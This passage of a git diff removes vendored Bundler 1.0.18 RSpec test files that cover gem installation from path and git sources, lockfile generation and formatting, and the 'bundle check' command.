-      new_revision = revision_for(lib_path("valim-1.0"))
-
-      lockfile = File.read(bundled_app("Gemfile.lock"))
-      File.open(bundled_app("Gemfile.lock"), "w") do |file|
-        file.puts lockfile.gsub(/revision: #{old_revision}/, "revision: #{new_revision}")
-      end
-
-      bundle "install"
-
-      run <<-R
-        require "valim"
-        puts VALIM_PREV_REF
-      R
-
-      out.should == old_revision
-    end
-  end
-
-  describe "bundle install --deployment with git sources" do
-    it "works" do
-      build_git "valim", :path => lib_path('valim')
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-
-        gem "valim", "= 1.0", :git => "#{lib_path('valim')}"
-      G
-
-      simulate_new_machine
-
-      bundle "install --deployment", :exitstatus => true
-      exitstatus.should == 0
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/invalid_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/invalid_spec.rb
deleted file mode 100644
index 67b6d31a..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/invalid_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require "spec_helper"
-
-describe "bundle install with deprecated features" do
-  before :each do
-    in_app_root
-  end
-
-  it "reports that lib is an invalid option" do
-    gemfile <<-G
-      gem "rack", :lib => "rack"
-    G
-
-    bundle :install
-    out.should =~ /You passed :lib as an option for gem 'rack', but it is invalid/
-  end
-
-end
-
-describe "bundle install to a dead symlink" do
-  before do
-    in_app_root do
-      `ln -s /tmp/idontexist bundle`
-    end
-  end
-
-  it "reports the symlink is dead" do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-    G
-
-    bundle "install --path bundle"
-    out.should =~ /invalid symlink/
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/path_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/path_spec.rb
deleted file mode 100644
index 8b778d4e..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/path_spec.rb
+++ /dev/null
@@ -1,405 +0,0 @@
-require "spec_helper"
-
-describe "bundle install with explicit source paths" do
-  it "fetches gems" do
-    build_lib "foo"
-
-    install_gemfile <<-G
-      path "#{lib_path('foo-1.0')}"
-      gem 'foo'
-    G
-
-    should_be_installed("foo 1.0")
-  end
-
-  it "supports pinned paths" do
-    build_lib "foo"
-
-    install_gemfile <<-G
-      gem 'foo', :path => "#{lib_path('foo-1.0')}"
-    G
-
-    should_be_installed("foo 1.0")
-  end
-
-  it "supports relative paths" do
-    build_lib "foo"
-
-    relative_path = lib_path('foo-1.0').relative_path_from(Pathname.new(Dir.pwd))
-
-    install_gemfile <<-G
-      gem 'foo', :path => "#{relative_path}"
-    G
-
-    should_be_installed("foo 1.0")
-  end
-
-  it "expands paths" do
-    build_lib "foo"
-
-    relative_path = lib_path('foo-1.0').relative_path_from(Pathname.new('~').expand_path)
-
-    install_gemfile <<-G
-      gem 'foo', :path => "~/#{relative_path}"
-    G
-
-    should_be_installed("foo 1.0")
-  end
-
-  it "expands paths relative to Bundler.root" do
-    build_lib "foo", :path => bundled_app("foo-1.0")
-
-    install_gemfile <<-G
-      gem 'foo', :path => "./foo-1.0"
-    G
-
-    bundled_app("subdir").mkpath
-    Dir.chdir(bundled_app("subdir")) do
-      should_be_installed("foo 1.0")
-    end
-  end
-
-  it "expands paths when comparing locked paths to Gemfile paths" do
-    build_lib "foo", :path => bundled_app("foo-1.0")
-
-    install_gemfile <<-G
-      gem 'foo', :path => File.expand_path("../foo-1.0", __FILE__)
-    G
-
-    bundle "install --frozen", :exitstatus => true
-    exitstatus.should == 0
-  end
-
-  it "installs dependencies from the path even if a newer gem is available elsewhere" do
-    system_gems "rack-1.0.0"
-
-    build_lib "rack", "1.0", :path => lib_path('nested/bar') do |s|
-      s.write "lib/rack.rb", "puts 'WIN OVERRIDE'"
-    end
-
-    build_lib "foo", :path => lib_path('nested') do |s|
-      s.add_dependency "rack", "= 1.0"
-    end
-
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "foo", :path => "#{lib_path('nested')}"
-    G
-
-    run "require 'rack'"
-    out.should == 'WIN OVERRIDE'
-  end
-
-  it "works" do
-    build_gem "foo", "1.0.0", :to_system => true do |s|
-      s.write "lib/foo.rb", "puts 'FAIL'"
-    end
-
-    build_lib "omg", "1.0", :path => lib_path("omg") do |s|
-      s.add_dependency "foo"
-    end
-
-    build_lib "foo", "1.0.0", :path => lib_path("omg/foo")
-
-    install_gemfile <<-G
-      gem "omg", :path => "#{lib_path('omg')}"
-    G
-
-    should_be_installed "foo 1.0"
-  end
-
-  it "supports gemspec syntax" do
-    build_lib "foo", "1.0", :path => lib_path("foo") do |s|
-      s.add_dependency "rack", "1.0"
-    end
-
-    gemfile = <<-G
-      source "file://#{gem_repo1}"
-      gemspec
-    G
-
-    File.open(lib_path("foo/Gemfile"), "w") {|f| f.puts gemfile }
-
-    Dir.chdir(lib_path("foo")) do
-      bundle "install"
-      should_be_installed "foo 1.0"
-      should_be_installed "rack 1.0"
-    end
-  end
-
-  it "supports gemspec syntax with an alternative path" do
-    build_lib "foo", "1.0", :path => lib_path("foo") do |s|
-      s.add_dependency "rack", "1.0"
-    end
-
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gemspec :path => "#{lib_path("foo")}"
-    G
-
-    should_be_installed "foo 1.0"
-    should_be_installed "rack 1.0"
-  end
-
-  it "doesn't automatically unlock dependencies when using the gemspec syntax" do
-    build_lib "foo", "1.0", :path => lib_path("foo") do |s|
-      s.add_dependency "rack", ">= 1.0"
-    end
-
-    Dir.chdir lib_path("foo")
-
-    install_gemfile lib_path("foo/Gemfile"), <<-G
-      source "file://#{gem_repo1}"
-      gemspec
-    G
-
-    build_gem "rack", "1.0.1", :to_system => true
-
-    bundle "install"
-
-    should_be_installed "foo 1.0"
-    should_be_installed "rack 1.0"
-  end
-
-  it "doesn't automatically unlock dependencies when using the gemspec syntax and the gem has development dependencies" do
-    build_lib "foo", "1.0", :path => lib_path("foo") do |s|
-      s.add_dependency "rack", ">= 1.0"
-      s.add_development_dependency "activesupport"
-    end
-
-    Dir.chdir lib_path("foo")
-
-    install_gemfile lib_path("foo/Gemfile"), <<-G
-      source "file://#{gem_repo1}"
-      gemspec
-    G
-
-    build_gem "rack", "1.0.1", :to_system => true
-
-    bundle "install"
-
-    should_be_installed "foo 1.0"
-    should_be_installed "rack 1.0"
-  end
-
-  it "raises if there are multiple gemspecs" do
-    build_lib "foo", "1.0", :path => lib_path("foo") do |s|
-      s.write "bar.gemspec"
-    end
-
-    install_gemfile <<-G, :exitstatus => true
-      gemspec :path => "#{lib_path("foo")}"
-    G
-
-    exitstatus.should eq(15)
-    out.should =~ /There are multiple gemspecs/
-  end
-
-  it "allows :name to be specified to resolve ambiguity" do
-    build_lib "foo", "1.0", :path => lib_path("foo") do |s|
-      s.write "bar.gemspec"
-    end
-
-    install_gemfile <<-G, :exitstatus => true
-      gemspec :path => "#{lib_path("foo")}", :name => "foo"
-    G
-
-    should_be_installed "foo 1.0"
-  end
-
-  it "sets up executables" do
-    pending_jruby_shebang_fix
-
-    build_lib "foo" do |s|
-      s.executables = "foobar"
-    end
-
-    install_gemfile <<-G
-      path "#{lib_path('foo-1.0')}"
-      gem 'foo'
-    G
-
-    bundle "exec foobar"
-    out.should == "1.0"
-  end
-
-  it "handles directories in bin/" do
-    build_lib "foo"
-    lib_path("foo-1.0").join("foo.gemspec").rmtree
-    lib_path("foo-1.0").join("bin/performance").mkpath
-
-    install_gemfile <<-G
-      gem 'foo', '1.0', :path => "#{lib_path('foo-1.0')}"
-    G
-    err.should == ""
-  end
-
-  it "removes the .gem file after installing" do
-    build_lib "foo"
-
-    install_gemfile <<-G
-      gem 'foo', :path => "#{lib_path('foo-1.0')}"
-    G
-
-    lib_path('foo-1.0').join('foo-1.0.gem').should_not exist
-  end
-
-  describe "block syntax" do
-    it "pulls all gems from a path block" do
-      build_lib "omg"
-      build_lib "hi2u"
-
-      install_gemfile <<-G
-        path "#{lib_path}" do
-          gem "omg"
-          gem "hi2u"
-        end
-      G
-
-      should_be_installed "omg 1.0", "hi2u 1.0"
-    end
-  end
-
-  it "keeps source pinning" do
-    build_lib "foo", "1.0", :path => lib_path('foo')
-    build_lib "omg", "1.0", :path => lib_path('omg')
-    build_lib "foo", "1.0", :path => lib_path('omg/foo') do |s|
-      s.write "lib/foo.rb", "puts 'FAIL'"
-    end
-
-    install_gemfile <<-G
-      gem "foo", :path => "#{lib_path('foo')}"
-      gem "omg", :path => "#{lib_path('omg')}"
-    G
-
-    should_be_installed "foo 1.0"
-  end
-
-  it "works when the path does not have a gemspec" do
-    build_lib "foo", :gemspec => false
-
-    gemfile <<-G
-      gem "foo", "1.0", :path => "#{lib_path('foo-1.0')}"
-    G
-
-    should_be_installed "foo 1.0"
-
-    should_be_installed "foo 1.0"
-  end
-
-  it "installs executable stubs" do
-    build_lib "foo" do |s|
-      s.executables = ['foo']
-    end
-
-    install_gemfile <<-G
-      gem "foo", :path => "#{lib_path('foo-1.0')}"
-    G
-
-    bundle "exec foo"
-    out.should == "1.0"
-  end
-
-  describe "when the gem version in the path is updated" do
-    before :each do
-      build_lib "foo", "1.0", :path => lib_path("foo") do |s|
-        s.add_dependency "bar"
-      end
-      build_lib "bar", "1.0", :path => lib_path("foo/bar")
-
-      install_gemfile <<-G
-        gem "foo", :path => "#{lib_path('foo')}"
-      G
-    end
-
-    it "unlocks all gems when the top level gem is updated" do
-      build_lib "foo", "2.0", :path => lib_path("foo") do |s|
-        s.add_dependency "bar"
-      end
-
-      bundle "install"
-
-      should_be_installed "foo 2.0", "bar 1.0"
-    end
-
-    it "unlocks all gems when a child dependency gem is updated" do
-      build_lib "bar", "2.0", :path => lib_path("foo/bar")
-
-      bundle "install"
-
-      should_be_installed "foo 1.0", "bar 2.0"
-    end
-  end
-
-  describe "when dependencies in the path are updated" do
-    before :each do
-      build_lib "foo", "1.0", :path => lib_path("foo")
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "foo", :path => "#{lib_path('foo')}"
-      G
-    end
-
-    it "gets dependencies that are updated in the path" do
-      build_lib "foo", "1.0", :path => lib_path("foo") do |s|
-        s.add_dependency "rack"
-      end
-
-      bundle "install"
-
-      should_be_installed "rack 1.0.0"
-    end
-  end
-
-  describe "switching sources" do
-    it "doesn't switch pinned git sources to rubygems when pinning the parent gem to a path source" do
-      build_gem "foo", "1.0", :to_system => true do |s|
-        s.write "lib/foo.rb", "raise 'fail'"
-      end
-      build_lib "foo", "1.0", :path => lib_path('bar/foo')
-      build_git "bar", "1.0", :path => lib_path('bar') do |s|
-        s.add_dependency 'foo'
-      end
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "bar", :git => "#{lib_path('bar')}"
-      G
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "bar", :path => "#{lib_path('bar')}"
-      G
-
-      should_be_installed "foo 1.0", "bar 1.0"
-    end
-
-    it "switches the source when the gem existed in rubygems and the path was already being used for another gem" do
-      build_lib "foo", "1.0", :path => lib_path("foo")
-      build_gem "bar", "1.0", :to_system => true do |s|
-        s.write "lib/bar.rb", "raise 'fail'"
-      end
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "bar"
-        path "#{lib_path('foo')}" do
-          gem "foo"
-        end
-      G
-
-      build_lib "bar", "1.0", :path => lib_path("foo/bar")
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        path "#{lib_path('foo')}" do
-          gem "foo"
-          gem "bar"
-        end
-      G
-
-      should_be_installed "bar 1.0"
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/upgrade_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/upgrade_spec.rb
deleted file mode 100644
index 67d8eebf..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/upgrade_spec.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-require "spec_helper"
-
-describe "bundle install for the first time with v1.0" do
-  before :each do
-    in_app_root
-
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-    G
-  end
-
-  it "removes lockfiles in 0.9 YAML format" do
-    File.open("Gemfile.lock", "w"){|f| YAML.dump({}, f) }
-    bundle :install
-    File.read("Gemfile.lock").should_not =~ /^---/
-  end
-
-  it "removes env.rb if it exists" do
-    bundled_app.join(".bundle").mkdir
-    bundled_app.join(".bundle/environment.rb").open("w"){|f| f.write("raise 'nooo'") }
-    bundle :install
-    bundled_app.join(".bundle/environment.rb").should_not exist
-  end
-
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/lock/git_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/lock/git_spec.rb
deleted file mode 100644
index 7d023b83..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/lock/git_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require "spec_helper"
-
-describe "bundle lock with git gems" do
-  before :each do
-    build_git "foo"
-
-    install_gemfile <<-G
-      gem 'foo', :git => "#{lib_path('foo-1.0')}"
-    G
-  end
-
-  it "doesn't break right after running lock" do
-    should_be_installed "foo 1.0.0"
-  end
-
-  it "locks a git source to the current ref" do
-    update_git "foo"
-    bundle :install
-
-    run <<-RUBY
-      require 'foo'
-      puts "WIN" unless defined?(FOO_PREV_REF)
-    RUBY
-
-    out.should == "WIN"
-  end
-
-  it "provides correct #full_gem_path" do
-    run <<-RUBY
-      puts Bundler.rubygems.find_name('foo').first.full_gem_path
-    RUBY
-    out.should == bundle("show foo")
-  end
-
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/lock/lockfile_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/lock/lockfile_spec.rb
deleted file mode 100644
index 86663f23..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/lock/lockfile_spec.rb
+++ /dev/null
@@ -1,706 +0,0 @@
-require "spec_helper"
-
-describe "the lockfile format" do
-  include Bundler::GemHelpers
-
-  it "generates a simple lockfile for a single source, gem" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "rack"
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          rack (1.0.0)
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        rack
-    G
-  end
-
-  it "generates a simple lockfile for a single source, gem with dependencies" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "rack-obama"
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          rack (1.0.0)
-          rack-obama (1.0)
-            rack
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        rack-obama
-    G
-  end
-
-  it "generates a simple lockfile for a single source, gem with a version requirement" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "rack-obama", ">= 1.0"
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          rack (1.0.0)
-          rack-obama (1.0)
-            rack
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        rack-obama (>= 1.0)
-    G
-  end
-
-  it "parses lockfiles w/ crazy shit" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "net-sftp"
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          net-sftp (1.1.1)
-            net-ssh (>= 1.0.0, < 1.99.0)
-          net-ssh (1.0)
-
-      PLATFORMS
-        ruby
-
-      DEPENDENCIES
-        net-sftp
-    G
-
-    should_be_installed "net-sftp 1.1.1", "net-ssh 1.0.0"
-  end
-
-  it "generates a simple lockfile for a single pinned source, gem with a version requirement" do
-    git = build_git "foo"
-
-    install_gemfile <<-G
-      gem "foo", :git => "#{lib_path("foo-1.0")}"
-    G
-
-    lockfile_should_be <<-G
-      GIT
-        remote: #{lib_path("foo-1.0")}
-        revision: #{git.ref_for('master')}
-        specs:
-          foo (1.0)
-
-      GEM
-        specs:
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        foo!
-    G
-  end
-
-  it "does not assplode when a platform specific dependency is present and the Gemfile has not been resolved on that platform" do
-    build_lib "omg", :path => lib_path('omg')
-
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      platforms :#{not_local_tag} do
-        gem "omg", :path => "#{lib_path('omg')}"
-      end
-
-      gem "rack"
-    G
-
-    lockfile <<-L
-      GIT
-        remote: git://github.com/nex3/haml.git
-        revision: 8a2271f
-        specs:
-
-      GEM
-        remote: file://#{gem_repo1}/
-        specs:
-          rack (1.0.0)
-
-      PLATFORMS
-        #{not_local}
-
-      DEPENDENCIES
-        omg!
-        rack
-    L
-
-    bundle "install"
-    should_be_installed "rack 1.0.0"
-  end
-
-  it "serializes global git sources" do
-    git = build_git "foo"
-
-    install_gemfile <<-G
-      git "#{lib_path('foo-1.0')}" do
-        gem "foo"
-      end
-    G
-
-    lockfile_should_be <<-G
-      GIT
-        remote: #{lib_path('foo-1.0')}
-        revision: #{git.ref_for('master')}
-        specs:
-          foo (1.0)
-
-      GEM
-        specs:
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        foo!
-    G
-  end
-
-  it "generates a lockfile with a ref for a single pinned source, git gem with a branch requirement" do
-    git = build_git "foo"
-    update_git "foo", :branch => "omg"
-
-    install_gemfile <<-G
-      gem "foo", :git => "#{lib_path("foo-1.0")}", :branch => "omg"
-    G
-
-    lockfile_should_be <<-G
-      GIT
-        remote: #{lib_path("foo-1.0")}
-        revision: #{git.ref_for('omg')}
-        branch: omg
-        specs:
-          foo (1.0)
-
-      GEM
-        specs:
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        foo!
-    G
-  end
-
-  it "generates a lockfile with a ref for a single pinned source, git gem with a tag requirement" do
-    git = build_git "foo"
-    update_git "foo", :tag => "omg"
-
-    install_gemfile <<-G
-      gem "foo", :git => "#{lib_path("foo-1.0")}", :tag => "omg"
-    G
-
-    lockfile_should_be <<-G
-      GIT
-        remote: #{lib_path("foo-1.0")}
-        revision: #{git.ref_for('omg')}
-        tag: omg
-        specs:
-          foo (1.0)
-
-      GEM
-        specs:
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        foo!
-    G
-  end
-
-  it "serializes pinned path sources to the lockfile" do
-    build_lib "foo"
-
-    install_gemfile <<-G
-      gem "foo", :path => "#{lib_path("foo-1.0")}"
-    G
-
-    lockfile_should_be <<-G
-      PATH
-        remote: #{lib_path("foo-1.0")}
-        specs:
-          foo (1.0)
-
-      GEM
-        specs:
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        foo!
-    G
-  end
-
-  it "lists gems alphabetically" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "thin"
-      gem "actionpack"
-      gem "rack-obama"
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          actionpack (2.3.2)
-            activesupport (= 2.3.2)
-          activesupport (2.3.2)
-          rack (1.0.0)
-          rack-obama (1.0)
-            rack
-          thin (1.0)
-            rack
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        actionpack
-        rack-obama
-        thin
-    G
-  end
-
-  it "order dependencies of dependencies in alphabetical order" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "rails"
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          actionmailer (2.3.2)
-            activesupport (= 2.3.2)
-          actionpack (2.3.2)
-            activesupport (= 2.3.2)
-          activerecord (2.3.2)
-            activesupport (= 2.3.2)
-          activeresource (2.3.2)
-            activesupport (= 2.3.2)
-          activesupport (2.3.2)
-          rails (2.3.2)
-            actionmailer (= 2.3.2)
-            actionpack (= 2.3.2)
-            activerecord (= 2.3.2)
-            activeresource (= 2.3.2)
-            rake (= 0.8.7)
-          rake (0.8.7)
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        rails
-    G
-  end
-
-  it "orders dependencies according to version" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem 'double_deps'
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          double_deps (1.0)
-            net-ssh
-            net-ssh (>= 1.0.0)
-          net-ssh (1.0)
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        double_deps
-    G
-  end
-
-  it "does not add the :require option to the lockfile" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "rack-obama", ">= 1.0", :require => "rack/obama"
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          rack (1.0.0)
-          rack-obama (1.0)
-            rack
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        rack-obama (>= 1.0)
-    G
-  end
-
-  it "does not add the :group option to the lockfile" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "rack-obama", ">= 1.0", :group => :test
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          rack (1.0.0)
-          rack-obama (1.0)
-            rack
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        rack-obama (>= 1.0)
-    G
-  end
-
-  it "stores relative paths when the path is provided in a relative fashion and in Gemfile dir" do
-    build_lib "foo", :path => bundled_app('foo')
-
-    install_gemfile <<-G
-      path "foo"
-      gem "foo"
-    G
-
-    lockfile_should_be <<-G
-      PATH
-        remote: foo
-        specs:
-          foo (1.0)
-
-      GEM
-        specs:
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        foo
-    G
-  end
-
-  it "stores relative paths when the path is provided in a relative fashion and is above Gemfile dir" do
-    build_lib "foo", :path => bundled_app(File.join('..', 'foo'))
-
-    install_gemfile <<-G
-      path "../foo"
-      gem "foo"
-    G
-
-    lockfile_should_be <<-G
-      PATH
-        remote: ../foo
-        specs:
-          foo (1.0)
-
-      GEM
-        specs:
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        foo
-    G
-  end
-
-  it "stores relative paths when the path is provided in an absolute fashion but is relative" do
-    build_lib "foo", :path => bundled_app('foo')
-
-    install_gemfile <<-G
-      path File.expand_path("../foo", __FILE__)
-      gem "foo"
-    G
-
-    lockfile_should_be <<-G
-      PATH
-        remote: foo
-        specs:
-          foo (1.0)
-
-      GEM
-        specs:
-
-      PLATFORMS
-        #{generic(Gem::Platform.local)}
-
-      DEPENDENCIES
-        foo
-    G
-  end
-
-  it "keeps existing platforms in the lockfile" do
-    lockfile <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          rack (1.0.0)
-
-      PLATFORMS
-        java
-
-      DEPENDENCIES
-        rack
-    G
-
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      gem "rack"
-    G
-
-    platforms = ['java', generic(Gem::Platform.local).to_s].sort
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          rack (1.0.0)
-
-      PLATFORMS
-        #{platforms[0]}
-        #{platforms[1]}
-
-      DEPENDENCIES
-        rack
-    G
-  end
-
-  it "persists the spec's platform to the lockfile" do
-    build_gem "platform_specific", "1.0.0", :to_system => true do |s|
-      s.platform = Gem::Platform.new('universal-java-16')
-    end
-
-    simulate_platform "universal-java-16"
-
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "platform_specific"
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          platform_specific (1.0-java)
-
-      PLATFORMS
-        java
-
-      DEPENDENCIES
-        platform_specific
-    G
-  end
-
-  it "does not add duplicate gems" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-    G
-
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-      gem "activesupport"
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          activesupport (2.3.5)
-          rack (1.0.0)
-
-      PLATFORMS
-        ruby
-
-      DEPENDENCIES
-        activesupport
-        rack
-    G
-  end
-
-  it "does not add duplicate dependencies" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-      gem "rack"
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          rack (1.0.0)
-
-      PLATFORMS
-        ruby
-
-      DEPENDENCIES
-        rack
-    G
-  end
-
-  it "does not add duplicate dependencies with versions" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack", "1.0"
-      gem "rack", "1.0"
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          rack (1.0.0)
-
-      PLATFORMS
-        ruby
-
-      DEPENDENCIES
-        rack (= 1.0)
-    G
-  end
-
-  it "does not add duplicate dependencies in different groups" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack", "1.0", :group => :one
-      gem "rack", "1.0", :group => :two
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          rack (1.0.0)
-
-      PLATFORMS
-        ruby
-
-      DEPENDENCIES
-        rack (= 1.0)
-    G
-  end
-
-  it "raises if two different versions are used" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack", "1.0"
-      gem "rack", "1.1"
-    G
-
-    bundled_app("Gemfile.lock").should_not exist
-    out.should include "rack (= 1.0) and rack (= 1.1)"
-  end
-
-
-  it "raises if two different versions are used" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-      gem "rack", :git => "git://hubz.com"
-    G
-
-    bundled_app("Gemfile.lock").should_not exist
-    out.should include "rack (>= 0) should come from an unspecfied source and git://hubz.com (at master)"
-  end
-
-  it "works correctly with multiple version dependencies" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack", "> 0.9", "< 1.0"
-    G
-
-    lockfile_should_be <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          rack (0.9.1)
-
-      PLATFORMS
-        ruby
-
-      DEPENDENCIES
-        rack (> 0.9, < 1.0)
-    G
-
-  end
-
-  context "line endings" do
-    before(:each) do
-      build_repo2
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rack"
-      G
-    end
-
-    it "generates Gemfile.lock with \\n line endings" do
-      File.read(bundled_app("Gemfile.lock")).should_not match("\r\n")
-      should_be_installed "rack 1.0"
-    end
-
-    it "preserves Gemfile.lock \\n line endings" do
-      update_repo2
-
-      bundle "update"
-      File.read(bundled_app("Gemfile.lock")).should_not match("\r\n")
-      should_be_installed "rack 1.2"
-    end
-
-    it "preserves Gemfile.lock \\n\\r line endings" do
-      update_repo2
-      win_lock = File.read(bundled_app("Gemfile.lock")).gsub(/\n/, "\r\n")
-      File.open(bundled_app("Gemfile.lock"), "wb"){|f| f.puts(win_lock) }
-
-      bundle "update"
-      File.read(bundled_app("Gemfile.lock")).should match("\r\n")
-      should_be_installed "rack 1.2"
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/check_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/check_spec.rb
deleted file mode 100644
index 7cb7eb6a..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/other/check_spec.rb
+++ /dev/null
@@ -1,221 +0,0 @@
-require "spec_helper"
-
-describe "bundle check" do
-  it "returns success when the Gemfile is satisfied" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rails"
-    G
-
-    bundle :check, :exitstatus => true
-    @exitstatus.should eq(0)
-    out.should == "The Gemfile's dependencies are satisfied"
-  end
-
-  it "works with the --gemfile flag when not in the directory" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rails"
-    G
-
-    Dir.chdir tmp
-    bundle "check --gemfile bundled_app/Gemfile"
-    out.should == "The Gemfile's dependencies are satisfied"
-  end
-
-  it "creates a Gemfile.lock if one did not exist" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rails"
-    G
-
-    FileUtils.rm("Gemfile.lock")
-
-    bundle "check"
-
-    bundled_app("Gemfile.lock").should exist
-  end
-
-  it "prints a generic error if the missing gems are unresolvable" do
-    system_gems ["rails-2.3.2"]
-
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rails"
-    G
-
-    bundle :check
-    out.should include("Your Gemfile's dependencies could not be satisfied")
-  end
-
-  it "prints a generic error if a Gemfile.lock does not exist and a toplevel dependency does not exist" do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rails"
-    G
-
-    bundle :check, :exitstatus => true
-    @exitstatus.should be > 0
-    out.should include("could not be satisfied")
-  end
-
-  it "prints a generic message if you changed your lockfile" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem 'rails'
-    G
-    install_gemfile <<-G
